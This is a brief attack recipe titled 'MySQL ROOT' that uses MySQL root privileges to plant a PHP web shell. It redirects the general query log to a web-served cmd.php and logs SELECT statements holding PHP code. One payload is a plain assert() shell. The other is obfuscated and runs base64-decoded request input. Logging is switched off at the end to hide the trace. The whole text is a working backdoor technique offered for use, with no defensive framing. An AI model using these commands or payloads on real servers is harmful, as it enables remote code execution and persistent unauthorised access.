MySQL ROOT:

show variables like '%general%';
set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['cmd']));?>";
set global general_log = off;